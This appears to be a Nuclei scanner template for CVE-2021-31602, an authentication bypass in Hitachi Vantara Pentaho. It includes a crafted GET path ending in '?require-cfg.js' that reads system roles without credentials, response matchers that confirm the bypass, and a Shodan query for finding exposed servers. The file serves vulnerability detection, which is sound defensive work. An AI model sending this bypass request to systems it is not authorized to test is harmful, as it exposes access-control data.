id: CVE-2021-31602

info:
  name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass
  author: pussycat0x
  severity: high
  description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  reference:
    - https://seclists.org/fulldisclosure/2021/Nov/13
    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
    - https://www.hitachi.com/hirt/security/index.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-31602
    cwe-id: CWE-863
    epss-score: 0.4123
  metadata:
    max-request: 2
    shodan-query: Pentaho
  tags: spring,seclists,cve,cve2021,pentaho,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<roleList>'
          - '<roles>Anonymous</roles>'
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/07/15